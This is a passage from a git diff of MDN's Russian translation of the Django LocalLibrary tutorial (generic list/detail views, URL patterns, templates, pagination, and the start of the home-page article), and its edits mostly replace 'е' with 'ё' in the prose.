примеров того, что вы могли бы сделать.</p> </div> <h3 id="Создание_шаблона_Отображения_Списка">Создание шаблона Отображения Списка</h3> -<p>Создайте HTML-файл <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> и скопируйте в него текст, указанный ниже. Как было отмечено ранее, это файл шаблона по умолчанию, который будет "искать" обобщенный класс отображения списка (для модели с именем <code>Book</code> в приложении с именем <code>catalog</code>).</p> +<p>Создайте HTML-файл <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> и скопируйте в него текст, указанный ниже. Как было отмечено ранее, это файл шаблона по умолчанию, который будет "искать" обобщённый класс отображения списка (для модели с именем <code>Book</code> в приложении с именем <code>catalog</code>).</p> -<p>Шаблоны для обобщенных отображений такие же как все остальные шаблоны (хотя, естественно, передаваемые в них контекст, или информация могут отличаться). Так же как и с нашим шаблоном для главной страницы, в первой строке мы расширяем наш базовый шаблон, а затем определяем и замещаем блок с именем <code>content</code>.</p> +<p>Шаблоны для обобщённых отображений такие же как все остальные шаблоны (хотя, естественно, передаваемые в них контекст, или информация могут отличаться). Так же как и с нашим шаблоном для главной страницы, в первой строке мы расширяем наш базовый шаблон, а затем определяем и замещаем блок с именем <code>content</code>.</p> <pre class="brush: html">{% extends "base_generic.html" %} @@ -146,7 +146,7 @@ class BookListView(generic.ListView): <strong>{% endif %} </strong> {% endblock %}</pre> -<p>По умолчанию отображение передает контекст (список книг) как <code>object_list</code> и <code>book_list</code> (синонимы; оба варианта будут работать).</p> +<p>По умолчанию отображение передаёт контекст (список книг) как <code>object_list</code> и <code>book_list</code> (синонимы; оба варианта будут работать).</p> <h4 id="Условные_ветвления">Условные ветвления</h4> @@ -163,23 +163,23 @@ class BookListView(generic.ListView): <h4 id="Цикл_For">Цикл For</h4> -<p>Шаблон использует тэги <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#for">for</a> и <code>endfor</code> для того, чтобы "пробежаться" по списку книг, как показано ниже. На каждой итерации (каждом цикле) в переменную шаблона <code>book</code> передается информация текущего элемента списка.</p> +<p>Шаблон использует тэги <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#for">for</a> и <code>endfor</code> для того, чтобы "пробежаться" по списку книг, как показано ниже. На каждой итерации (каждом цикле) в переменную шаблона <code>book</code> передаётся информация текущего элемента списка.</p> <pre class="brush: html">{% for <strong>book</strong> in book_list %} <li> <!-- здесь код, который использует информацию из каждого элемента <strong>book </strong>списка--> </li> {% endfor %} </pre> -<p>Мы не применяем здесь, но внутри каждого цикла Django создает переменные, которые вы можете использовать при итерации. Например, вы можете проверять переменную <code>forloop.last</code> (указывает на последнюю итерацию в цикле) для выполнения каких-либо завершающих действий для данного цикла.</p> +<p>Мы не применяем здесь, но внутри каждого цикла Django создаёт переменные, которые вы можете использовать при итерации. Например, вы можете проверять переменную <code>forloop.last</code> (указывает на последнюю итерацию в цикле) для выполнения каких-либо завершающих действий для данного цикла.</p> <h4 id="Доступ_к_переменным">Доступ к переменным</h4> -<p>Код внутри цикла создает экземпляр для каждой книги из списка, при помощи которой показывается заголовок (как ссылка на "скоро-будет-сделано" подробное отображение) и автора книги.</p> +<p>Код внутри цикла создаёт экземпляр для каждой книги из списка, при помощи которой показывается заголовок (как ссылка на "скоро-будет-сделано" подробное отображение) и автора книги.</p> <pre class="brush: html"><a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) </pre> -<p>Мы получаем доступ к <em>полям</em> соответствующей записи о книге при помощи "дот-нотации", то есть через точку (например, <code>book.title</code> и <code>book.author</code>), где текст, который идет после <code>book</code>, является именем поля (так, как определено в модели).</p> +<p>Мы получаем доступ к <em>полям</em> соответствующей записи о книге при помощи "дот-нотации", то есть через точку (например, <code>book.title</code> и <code>book.author</code>), где текст, который идёт после <code>book</code>, является именем поля (так, как определено в модели).</p> <p>Кроме того, внутри нашего шаблона, мы можем вызывать <em>функции</em> модели — в данном случае, мы вызываем <code>Book.get_absolute_url()</code> для получения URL-адреса, который мы используем для показа детальной информации о книге. Данный вызов работает только для функции у которой нет аргументов (в шаблоне не существует возможности передать аргументы в функцию!)</p> @@ -197,7 +197,7 @@ class BookListView(generic.ListView): <h3 id="Как_же_теперь_все_это_выглядит">Как же теперь все это выглядит?</h3> -<p>Пока что у вас нет возможности создать список книг, потому что мы не учли еще необходимые зависимости — преобразование URL-адреса для страниц с подробной информации о книге, которое необходимо для ссылок на отдельные книги. Мы покажем страницы со списком и подробной информацией о книге после следующего раздела.</p> +<p>Пока что у вас нет возможности создать список книг, потому что мы не учли ещё необходимые зависимости — преобразование URL-адреса для страниц с подробной информации о книге, которое необходимо для ссылок на отдельные книги. Мы покажем страницы со списком и подробной информацией о книге после следующего раздела.</p> <h2 id="Страница_с_подробной_информацией_о_книге">Страница с подробной информацией о книге</h2> @@ -205,7 +205,7 @@ class BookListView(generic.ListView): <h3 id="URL-преобразования">URL-преобразования</h3> -<p>Откройте <strong>/catalog/urls.py</strong> и добавьте '<strong>book-detail</strong>' URL-преобразование, отмеченное жирным в следующем фрагменте. Эта функция <code>url()</code> определяет паттерн, связанный с обобщенным классом отображения детальной информации, а также имя для данной связи.</p> +<p>Откройте <strong>/catalog/urls.py</strong> и добавьте '<strong>book-detail</strong>' URL-преобразование, отмеченное жирным в следующем фрагменте. Эта функция <code>url()</code> определяет паттерн, связанный с обобщённым классом отображения детальной информации, а также имя для данной связи.</p> <pre class="brush: python">from django.urls import path from . import views @@ -217,14 +217,14 @@ urlpatterns = [ <strong>url(r'^book/(?P<pk>\d+)$', views.BookDetailView.as_view(), name='book-detail'),</strong> ]</pre> -<p>В отличие от предыдущих преобразований, в данном случае мы применяем наше регулярное выражение (РВ) для сопоставления "настоящего паттерна", а не просто строки. Данное РВ сопоставляет любой URL-адрес, который начинается с <code>book/</code>, за которым до конца строки (до маркера конца строки - $) следуют одна, или более <em>цифр</em>. В процессе выполнения данного преобразования, оно "захватывает" цифры и передает их в функцию отображения как параметр с именем <code>pk</code>.</p> +<p>В отличие от предыдущих преобразований, в данном случае мы применяем наше регулярное выражение (РВ) для сопоставления "настоящего паттерна", а не просто строки. Данное РВ сопоставляет любой URL-адрес, который начинается с <code>book/</code>, за которым до конца строки (до маркера конца строки - $) следуют одна, или более <em>цифр</em>. В процессе выполнения данного преобразования, оно "захватывает" цифры и передаёт их в функцию отображения как параметр с именем <code>pk</code>.</p> <div class="note"> <p><strong>Примечание</strong>: как было отмечено ранее, наш преобразуемый URL-адрес в реальности выглядит вот так <code>catalog/book/<digits></code> (потому что мы находимся в приложении <strong>catalog</strong>, то подразумевается каталог <code>/catalog/</code>).</p> </div> <div class="warning"> -<p><strong>Важно</strong>: Обобщенный класс отображения подробной информации ожидает получить параметр с именем pk. Если вы пишете свою собственную функцию отображения, то тогда вы можете использовать параметр с любым именем, который пожелаете, или вообще передавать информацию в безымянном аргументе.</p> +<p><strong>Важно</strong>: Обобщённый класс отображения подробной информации ожидает получить параметр с именем pk. Если вы пишете свою собственную функцию отображения, то тогда вы можете использовать параметр с любым именем, который пожелаете, или вообще передавать информацию в безымянном аргументе.</p> </div> <h4 id="Отдельный_пример_с_регулярными_выражениями">Отдельный пример с регулярными выражениями</h4> @@ -261,7 +261,7 @@ urlpatterns = [ </tr> <tr> <td>\w</td> - <td>Соответствует любому символу из алфавита в верхнем- или нижнем- регистре, цифре, или символу подчеркивания (_)</td> + <td>Соответствует любому символу из алфавита в верхнем- или нижнем- регистре, цифре, или символу подчёркивания (_)</td> </tr> <tr> <td>+</td> @@ -277,7 +277,7 @@ urlpatterns = [ </tr> <tr> <td>(?P<name>...)</td> - <td>Захват части паттерна (обозначенного через ...) как именованной переменной (в данном случае <name>). Захваченные значения передаются в отображение с определенным именем. Таким образом, ваше отображение должно объявить аргумент с тем же самым именем!</td> + <td>Захват части паттерна (обозначенного через ...) как именованной переменной (в данном случае <name>). Захваченные значения передаются в отображение с определённым именем. Таким образом, ваше отображение должно объявить аргумент с тем же самым именем!</td> </tr> <tr> <td>[ ]</td> @@ -303,7 +303,7 @@ urlpatterns = [ <td> <p>Это РВ применяется в нашем url-преобразовании. Оно соответствует строке, которая начинается с <code>book/</code> (<strong>^book/</strong>), затем имеет одну, или более цифр (<code>\d+</code>), а затем завершается (цифрой и только цифрой).</p> - <p>Оно также захватывает все цифры <strong>(?P<pk>\d+)</strong> и передает их в отображение, в параметре с именем 'pk'. <strong>Захваченные значения всегда передаются как строка!</strong></p> + <p>Оно также захватывает все цифры <strong>(?P<pk>\d+)</strong> и передаёт их в отображение, в параметре с именем 'pk'. <strong>Захваченные значения всегда передаются как строка!</strong></p> <p>Например, данному паттерну должна соответствовать следующая строка <code>book/1234</code> , которая отправляет переменную <code>pk='1234'</code> в отображение.</p> </td> @@ -315,7 +315,7 @@ urlpatterns = [ <tr> <td><strong>r'^book/(?P<stub>[-\w]+)$'</strong></td> <td> - <p>Данный паттерн соответствует строке, которая начинается с <code>book/</code> (<strong>^book/</strong>), затем идут один, или более символов либо '-', или словарные символы (<strong>[-\w]+</strong>), а затем завершается. Он также захватывает данное множество символов и передает их в отображение в параметре с именем 'stub'.</p> + <p>Данный паттерн соответствует строке, которая начинается с <code>book/</code> (<strong>^book/</strong>), затем идут один, или более символов либо '-', или словарные символы (<strong>[-\w]+</strong>), а затем завершается. Он также захватывает данное множество символов и передаёт их в отображение в параметре с именем 'stub'.</p> <p>Это довольно типичный паттерн для "стаба". Стабы являются дружественными URL-адресами - первичными ключами для данных. Вы могли бы применить стаб, если вы захотели бы, чтобы URL-адрес вашей книги был более информативным. Например, <code>/catalog/book/the-secret-garden</code>, выглядит немного лучше чем <code>/catalog/book/33</code>.</p> </td> @@ -326,12 +326,12 @@ urlpatterns = [ <p>Вы можете захватить (указать) несколько паттернов в одном преобразовании и, тем самым, закодировать много различной информации в URL-адресе.</p> <div class="note"> -<p><strong>Примечание</strong>: В качестве дополнительного задания, рассмотрите возможность того, как вы могли бы закодировать url на список всех книг, вышедших в определенный год, месяц, день и какое РВ (паттерн) должно соответствовать этому.</p> +<p><strong>Примечание</strong>: В качестве дополнительного задания, рассмотрите возможность того, как вы могли бы закодировать url на список всех книг, вышедших в определённый год, месяц, день и какое РВ (паттерн) должно соответствовать этому.</p> </div> <h4 id="Передача_дополнительных_настроек_в_ваши_преобразования_URL-адресов">Передача дополнительных настроек в ваши преобразования URL-адресов</h4> -<p>Одной возможностью, которую мы не применяли здесь, но которая могла бы быть вам полезной, является то, что вы можете объявлять и передавать <a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/#views-extra-options">дополнительные настройки</a> в отображения. Данные настройки объявляются как словарь, который вы передаете как третий безымянный аргумент функции <code>url()</code>. Этот способ может быть полезен, если вы хотите воспользоваться тем же самым отображением для нескольких ресурсов и передавать данные для изменения его поведения в каждом отдельном случае (ниже, мы передаем разные имена шаблонов).</p> +<p>Одной возможностью, которую мы не применяли здесь, но которая могла бы быть вам полезной, является то, что вы можете объявлять и передавать <a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/#views-extra-options">дополнительные настройки</a> в отображения. Данные настройки объявляются как словарь, который вы передаёте как третий безымянный аргумент функции <code>url()</code>. Этот способ может быть полезен, если вы хотите воспользоваться тем же самым отображением для нескольких ресурсов и передавать данные для изменения его поведения в каждом отдельном случае (ниже, мы передаём разные имена шаблонов).</p> <pre class="brush: python">url(r'^/url/$', views.my_reused_view, {'my_template_name': 'some_path'}, name='aurl'), url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'}, name='anotherurl'), @@ -349,15 +349,15 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' <pre class="brush: python">class BookDetailView(generic.DetailView): model = Book</pre> -<p>Это всё! Все что вам надо теперь сделать это создать шаблон с именем <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>, а отображение передаст ему информацию из базы данных для определенной записи <code>Book,</code>выделенной при помощи URL-преобразования. Внутри шаблона вы можете получить доступ к списку книг при помощи переменной с именем <code>object</code> или <code>book</code> (обобщённо "<code><em>the_model_name</em></code>").</p> +<p>Это всё! Все что вам надо теперь сделать это создать шаблон с именем <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>, а отображение передаст ему информацию из базы данных для определённой записи <code>Book,</code>выделенной при помощи URL-преобразования. Внутри шаблона вы можете получить доступ к списку книг при помощи переменной с именем <code>object</code> или <code>book</code> (обобщённо "<code><em>the_model_name</em></code>").</p> <p>Если у вас имеется необходимость, то вы можете изменить текущий шаблон и/или имя объекта контекста, используемого для ссылки на книгу в шаблоне. Кроме того, вы можете переопределить методы, например, для добавления дополнительной информации к контексту.</p> -<h4 id="Что_произойдет_если_записи_не_существует">Что произойдет, если записи не существует?</h4> +<h4 id="Что_произойдёт_если_записи_не_существует">Что произойдёт, если записи не существует?</h4> -<p>Если запрашиваемой записи не существует, тогда обобщенный класс отображения подробной информации автоматически "выкинет" исключение Http404 — в продакшене это приведет к автоматическому отображению страницы с текстом "resource not found" ("ресурс не найден"), которую, конечно же, вы можете настроить по своему усмотрению.</p> +<p>Если запрашиваемой записи не существует, тогда обобщённый класс отображения подробной информации автоматически "выкинет" исключение Http404 — в продакшене это приведёт к автоматическому отображению страницы с текстом "resource not found" ("ресурс не найден"), которую, конечно же, вы можете настроить по своему усмотрению.</p> -<p>Просто для иллюстрации идеи как это могло бы работать, мы приведем фрагмент кода, демонстрирующего возможную реализацию отображения в виде функции, если по каким-либо причинам вы не используете отображение на основе обобщенного класса.</p> +<p>Просто для иллюстрации идеи как это могло бы работать, мы приведём фрагмент кода, демонстрирующего возможную реализацию отображения в виде функции, если по каким-либо причинам вы не используете отображение на основе обобщённого класса.</p> <pre class="brush: python">def book_detail_view(request,pk): try: @@ -374,7 +374,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' ) </pre> -<p>В первую очередь отображение пытается получить определенную запись о книге из модели. Если ей это не удается, то "выбрасывается" исключение <code>Http404</code>, которое сигнализирует, что данная книга не найдена "not found". Последним шагом является, как обычно, вызов функции <code>render()</code> с именем соответствующего шаблона и данных о книге, передаваемых в параметре с именем <code>context</code> (в виде словаря).</p> +<p>В первую очередь отображение пытается получить определённую запись о книге из модели. Если ей это не удаётся, то "выбрасывается" исключение <code>Http404</code>, которое сигнализирует, что данная книга не найдена "not found". Последним шагом является, как обычно, вызов функции <code>render()</code> с именем соответствующего шаблона и данных о книге, передаваемых в параметре с именем <code>context</code> (в виде словаря).</p> <div class="note"> <p><strong>Примечание</strong>: Функция <code>get_object_or_404()</code> (показана закомментированной) является удобным "ярлыком" для генерации исключения <code>Http404</code> если запись не найдена.</p> @@ -382,7 +382,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' <h3 id="Создание_шаблона_детальной_информации">Создание шаблона детальной информации</h3> -<p>Создайте HTML файл <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong> и скопируйте в него содержимое, представленное ниже. Как было указано ранее, это шаблон "по умолчанию" (имя шаблона), который "ожидается"обобщенным классом отображения детальной информации (для модели с именем <code>Book</code> в приложении с именем <code>catalog</code>).</p> +<p>Создайте HTML файл <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong> и скопируйте в него содержимое, представленное ниже. Как было указано ранее, это шаблон "по умолчанию" (имя шаблона), который "ожидается"обобщённым классом отображения детальной информации (для модели с именем <code>Book</code> в приложении с именем <code>catalog</code>).</p> <pre class="brush: html">{% extends "base_generic.html" %} @@ -412,7 +412,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' </ul> <div class="note"> -<p>Ссылка на автора в шаблоне содержит пустой URL-адрес, потому что мы еще не создали страницу детальной информации об авторе. Когда это произойдет, вы должны будете обновить данный URL-адрес как указано ниже:</p> +<p>Ссылка на автора в шаблоне содержит пустой URL-адрес, потому что мы ещё не создали страницу детальной информации об авторе. Когда это произойдёт, вы должны будете обновить данный URL-адрес как указано ниже:</p> <pre><a href="<strong>{% url 'author-detail' book.author.pk %}</strong>">\{{ book.author }}</a> </pre> @@ -424,7 +424,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' <li>Мы расширяем наш базовый шаблон и переопределяем блок <code>content</code>.</li> <li>Мы используем условие <code>if</code> для показа того, или иного содержимого.</li> <li>Мы используем циклы <code>for</code> того, чтобы пробежаться по элементам (объектам) в соответствующих списках.</li> - <li>Мы получаем доступ к полям контекста при помощи "дот-нотации" (поскольку мы использовали обобщенный класс отображения детальной информации, то контекст имеет имя <code>book</code>; также можем использовать имя <code>object</code>)</li> + <li>Мы получаем доступ к полям контекста при помощи "дот-нотации" (поскольку мы использовали обобщённый класс отображения детальной информации, то контекст имеет имя <code>book</code>; также можем использовать имя <code>object</code>)</li> </ul> <p>Одной интересной вещью, которую мы не видели ранее, является функция <code>book.bookinstance_set.all()</code>. Данный метод является "автомагически"-сконструированным Django для того, чтобы вернуть множество записей <code>BookInstance</code>, связанных с данной книгой <code>Book</code>.</p> @@ -433,7 +433,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' <!-- итерации по каждой копии/экземпляру книги --> {% endfor %}</pre> -<p>Этот метод создан, потому что вы, на стороне "многим" данной связи, объявили поле <code>ForeignKey</code> (один-ко многим). Поскольку вы ничего не объявили на другой стороне ("один") данной модели (то есть, модель <code>Book</code> "ничего не знает" про модель <code>BookInstance</code>), то она не имеет никакой возможности (по умолчанию) для получения множества соответствующих записей. Для того, чтобы обойти эту проблему, Django конструирует соответствующую функцию "обратного просмотра" ("reverse lookup"), которой вы можете воспользоваться. Имя данной функции создается в нижнем регистре и состоит из имени модели, в которой был объявлен <code>ForeignKey</code> (то есть, <code>bookinstance</code>), за которым следует <code>_set</code> (то есть функция, созданная для <code>Book</code> будет иметь вид <code>bookinstance_set()</code>).</p> +<p>Этот метод создан, потому что вы, на стороне "многим" данной связи, объявили поле <code>ForeignKey</code> (один-ко многим). Поскольку вы ничего не объявили на другой стороне ("один") данной модели (то есть, модель <code>Book</code> "ничего не знает" про модель <code>BookInstance</code>), то она не имеет никакой возможности (по умолчанию) для получения множества соответствующих записей. Для того, чтобы обойти эту проблему, Django конструирует соответствующую функцию "обратного просмотра" ("reverse lookup"), которой вы можете воспользоваться. Имя данной функции создаётся в нижнем регистре и состоит из имени модели, в которой был объявлен <code>ForeignKey</code> (то есть, <code>bookinstance</code>), за которым следует <code>_set</code> (то есть функция, созданная для <code>Book</code> будет иметь вид <code>bookinstance_set()</code>).</p> <div class="note"> <p><strong>Примечание</strong>: Здесь мы используем <code>all()</code> для получения всех записей (по умолчанию). Вы, наверное, могли бы использовать метод <code>filter()</code> для получения подмножества записей в коде, но, к сожалению, вы НЕ можете применить данный вызов в шаблоне, потому что вы не можете передать в нем (в шаблоне) аргументы в функцию.</p> @@ -447,7 +447,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' <p>Это случилось потому что, <a href="https://docs.djangoproject.com/en/1.10/topics/pagination/#paginator-objects">paginator object</a> (далее объект постраничного вывода) ожидает видеть некую упорядоченность ORDER BY при запросе к базе данных. Без этого, он не сможет гарантировать правильный вывод полученных данных!<strong> </strong></p> -<p>Данное руководство пока не дошло до описания <strong>Pagination</strong> (пока, но скоро будет), и поскольку вы не можете использовать функцию <code>sort_by()</code> и передавать параметр (по той же причине, что и <code>filter()</code>) вы должны выбрать один из трех вариантов дальнейших действий:</p> +<p>Данное руководство пока не дошло до описания <strong>Pagination</strong> (пока, но скоро будет), и поскольку вы не можете использовать функцию <code>sort_by()</code> и передавать параметр (по той же причине, что и <code>filter()</code>) вы должны выбрать один из трёх вариантов дальнейших действий:</p> <ol> <li>Добавить атрибут <code>ordering</code> внутри <code>Meta-класса</code> объявленного в вашей модели.</li> @@ -474,7 +474,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' <p>Конечно же, поле не обязательно должно иметь имя <code>last_name</code>: оно может быть любым.</p> -<p>И последнее, но не окончательное, вы должны сортировать по атрибуту/колонке, которая была проиндексирована (уникально, или нет) в вашей базе данных для того, чтобы избежать проблем с быстродействием. Конечно, это не является необходимым в данном примере (и мы, вероятно, забегаем далеко вперед), если у нас такое небольшое количество книг (и пользователей!), но это необходимо помнить для будущих проектов.</p> +<p>И последнее, но не окончательное, вы должны сортировать по атрибуту/колонке, которая была проиндексирована (уникально, или нет) в вашей базе данных для того, чтобы избежать проблем с быстродействием. Конечно, это не является необходимым в данном примере (и мы, вероятно, забегаем далеко вперёд), если у нас такое небольшое количество книг (и пользователей!), но это необходимо помнить для будущих проектов.</p> </div> <h2 id="Как_это_теперь_выглядит">Как это теперь выглядит?</h2> @@ -497,7 +497,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' <p>Если у вас всего лишь несколько записей в базе данных, то наша страница вывода списка книг будет выглядеть отлично. Тем не менее, когда у вас появятся десятки, или сотни записей ваша страница станет значительно дольше загружаться (и станет слишком длинной для комфортного просмотра). Решением данной проблемы является добавление постраничного вывода (Pagination) к вашему отображению списка, который будет выводить ограниченное количество элементов на каждой странице.</p> -<p>Django имеет отличный встроенный механизм для постраничного вывода. Даже более того, он встроен в обобщенный класс отображения списков, следовательно вам не нужно проделывать большой объем работы, чтобы воспользоваться возможностями постраничного вывода!</p> +<p>Django имеет отличный встроенный механизм для постраничного вывода. Даже более того, он встроен в обобщённый класс отображения списков, следовательно вам не нужно проделывать большой объем работы, чтобы воспользоваться возможностями постраничного вывода!</p> <h3 id="Отображения">Отображения</h3> @@ -507,13 +507,13 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' model = Book <strong>paginate_by = 10</strong></pre> -<p>Как только у вас появится более 10 записей в базе данных отображение начнет формировать постраничный вывод данных, которые он передает шаблону. К различным страницам данного вывода можно получить доступ при помощи параметров GET-запроса — к странице 2 вы можете получить доступ, используя URL-адрес: <code>/catalog/books/<strong>?page=2</strong></code>.</p> +<p>Как только у вас появится более 10 записей в базе данных отображение начнёт формировать постраничный вывод данных, которые он передаёт шаблону. К различным страницам данного вывода можно получить доступ при помощи параметров GET-запроса — к странице 2 вы можете получить доступ, используя URL-адрес: <code>/catalog/books/<strong>?page=2</strong></code>.</p> <h3 id="Шаблоны">Шаблоны</h3> <p>Теперь, когда данные выводятся постранично, нам надо добавить функционал переключения между страницами в шаблона страницы. Поскольку мы хотели бы использовать данный механизм для всех списков на сайте, то мы пропишем его в базовом шаблоне сайта.</p> -<p>Откройте <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong> и, ниже блока <code>content</code>, вставьте блок (во фрагменте не выделен жирным), отвечающий за постраничный вывод. Данный код, в первую очередь, проверяет "включен" ли механизм постраничного вывода для данной страницы и если это так, то он добавляет ссылки <code>next</code> и <code>previous,</code>соответственно (а также, номер текущей страницы). </p> +<p>Откройте <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong> и, ниже блока <code>content</code>, вставьте блок (во фрагменте не выделен жирным), отвечающий за постраничный вывод. Данный код, в первую очередь, проверяет "включён" ли механизм постраничного вывода для данной страницы и если это так, то он добавляет ссылки <code>next</code> и <code>previous,</code>соответственно (а также, номер текущей страницы). </p> <pre class="brush: python"><strong>{% block content %}{% endblock %}</strong> @@ -564,7 +564,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' <p><strong>Примечание</strong>:</p> <ul> - <li>Когда вы создадите URL-преобразование для страницы списка авторов вам понадобится обновить ссылку <strong>All authors</strong> в базовом шаблоне. Следуйте <a href="#Update_the_base_template">тем же путем</a>, который мы проделали когда обновляли ссылку <strong>All books</strong>.</li> + <li>Когда вы создадите URL-преобразование для страницы списка авторов вам понадобится обновить ссылку <strong>All authors</strong> в базовом шаблоне. Следуйте <a href="#Update_the_base_template">тем же путём</a>, который мы проделали когда обновляли ссылку <strong>All books</strong>.</li> <li>Когда вы создадите URL-преобразование для страницы с детальной информацией об авторе, вы должны будете обновить <a href="#Creating_the_Detail_View_template">шаблон детальной информации о книге</a> (<strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>), таким образом, чтобы ссылка автора указывала на страницу с детальной информации о нем (а не быть пустой). Данная ссылка будет иметь вид как указано жирным во фрагменте ниже. <pre class="brush: html"><p><strong>Author:</strong> <a href="<strong>{% url 'author-detail' book.author.pk %}</strong>">\{{ book.author }}</a></p> </pre> @@ -588,15 +588,15 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' <p>Поздравляем! Наш базовый функционал библиотеки готов! </p> -<p>В данной статье мы изучили как применять обобщенные классы отображения списка и детальной информации, и использовать их для создания страниц отображения наших книг и авторов. Кроме того, мы многое узнали о паттернах преобразования, построенных на основе регулярных выражений, а также то, как вы можете передавать данные из URL-адреса в ваше отображение. Мы изучили несколько приемов применения шаблонов. В самом конце мы показали как осуществлять постраничный вывод списков, так, что наши списки управляются даже тогда, когда они содержат много записей.</p> +<p>В данной статье мы изучили как применять обобщённые классы отображения списка и детальной информации, и использовать их для создания страниц отображения наших книг и авторов. Кроме того, мы многое узнали о паттернах преобразования, построенных на основе регулярных выражений, а также то, как вы можете передавать данные из URL-адреса в ваше отображение. Мы изучили несколько приёмов применения шаблонов. В самом конце мы показали как осуществлять постраничный вывод списков, так, что наши списки управляются даже тогда, когда они содержат много записей.</p> -<p>В нашей следующей статье мы расширим нашу библиотеку, путем поддержки пользовательских аккаунтов, и так образом продемонстрируем аутентификацию, разграничение уровней доступа, сессии и формы.</p> +<p>В нашей следующей статье мы расширим нашу библиотеку, путём поддержки пользовательских аккаунтов, и так образом продемонстрируем аутентификацию, разграничение уровней доступа, сессии и формы.</p> <h2 id="Дополнительная_информация">Дополнительная информация</h2> <ul> - <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">Встроенные обобщенные классы отображения</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-display/">Обобщенный вид отображения</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">Встроенные обобщённые классы отображения</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-display/">Обобщённый вид отображения</a> (Django docs)</li> <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/intro/">Введение в отображения на основе классов</a> (Django docs)</li> <li><a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins">Встроенные теги шаблона и фильтры</a> (Django docs).</li> <li><a href="https://docs.djangoproject.com/en/1.10/topics/pagination/">Постраничный вывод (Pagination)</a> (Django docs)</li> diff --git a/files/ru/learn/server-side/django/home_page/index.html b/files/ru/learn/server-side/django/home_page/index.html index df43a891ae..c5b6f2bbea 100644 --- a/files/ru/learn/server-side/django/home_page/index.html +++ b/files/ru/learn/server-side/django/home_page/index.html @@ -17,7 +17,7 @@ translation_of: Learn/Server-side/Django/Home_page <div>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</div> -<p class="summary">Теперь мы готовы создать код нашей первой страницы — домашняя страница сайта <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> будет показывать количество записей в каждой модели, кроме того, она будет выводить боковую навигационную панель с ссылками на другие страницы сайта. В результате мы приобретем практический навык написания простых URL-преобразований и отображений, получения записей из базы данных и применения шаблонов.</p> +<p class="summary">Теперь мы готовы создать код нашей первой страницы — домашняя страница сайта <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> будет показывать количество записей в каждой модели, кроме того, она будет выводить боковую навигационную панель с ссылками на другие страницы сайта. В результате мы приобретём практический навык написания простых URL-преобразований и отображений, получения записей из базы данных и применения шаблонов.</p> <table class="learn-box standard-table"> <tbody> @@ -36,17 +36,17 @@ translation_of: Learn/Server-side/Django/Home_page <p>Теперь, когда мы определили наши модели и создали несколько записей в них, пришло время написать код, который будет показывать данную информацию пользователям. И первое, что нам необходимо сделать это определиться какую информацию мы бы хотели показывать на наших страницах, а затем определить соответствующие URL-адреса для получения соответствующих ресурсов. Затем нам надо создать url-преобразования, отображения (функции, или классы), а затем шаблоны страницы. </p> -<p>Диаграмма, представленная ниже, демонстрирует главный поток данных и элементов, которые нужно реализовать для управления HTTP запросами и ответами. Поскольку мы уже создали модель, то нам остается создать следующее:</p> +<p>Диаграмма, представленная ниже, демонстрирует главный поток данных и элементов, которые нужно реализовать для управления HTTP запросами и ответами. Поскольку мы уже создали модель, то нам остаётся создать следующее:</p> <ul> - <li>URL-преобразования для перехода по соответствующему URL-адресу (с учетом информации, передаваемой в данном адресе) к соответствующей функции отображения.</li> + <li>URL-преобразования для перехода по соответствующему URL-адресу (с учётом информации, передаваемой в данном адресе) к соответствующей функции отображения.</li> <li>Функции отображения для запроса соответствующих данных из моделей, создание страниц HTML для показа этих данных и их отправку в клиент пользователя (в браузер).</li> <li>Шаблоны, которые используются отображениями для рендеринга (отрисовки) данных.</li> </ul> <p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="display: block; margin: 0px auto;"></p> -<p>Как вы увидите в следующем разделе, у нас будет 5 страниц, которые мы немного опишем в данной статье. Данная статья, большей частью, будет сконцентрирована на реализации всего-лишь одной, домашней страницы нашего сайта (к другим страницам мы перейдем в других частях руководства). Это должно дать вам хорошее базовое представление о работе с URL-преобразованиями (связывании), отображениями и моделями.</p> +<p>Как вы увидите в следующем разделе, у нас будет 5 страниц, которые мы немного опишем в данной статье. Данная статья, большей частью, будет сконцентрирована на реализации 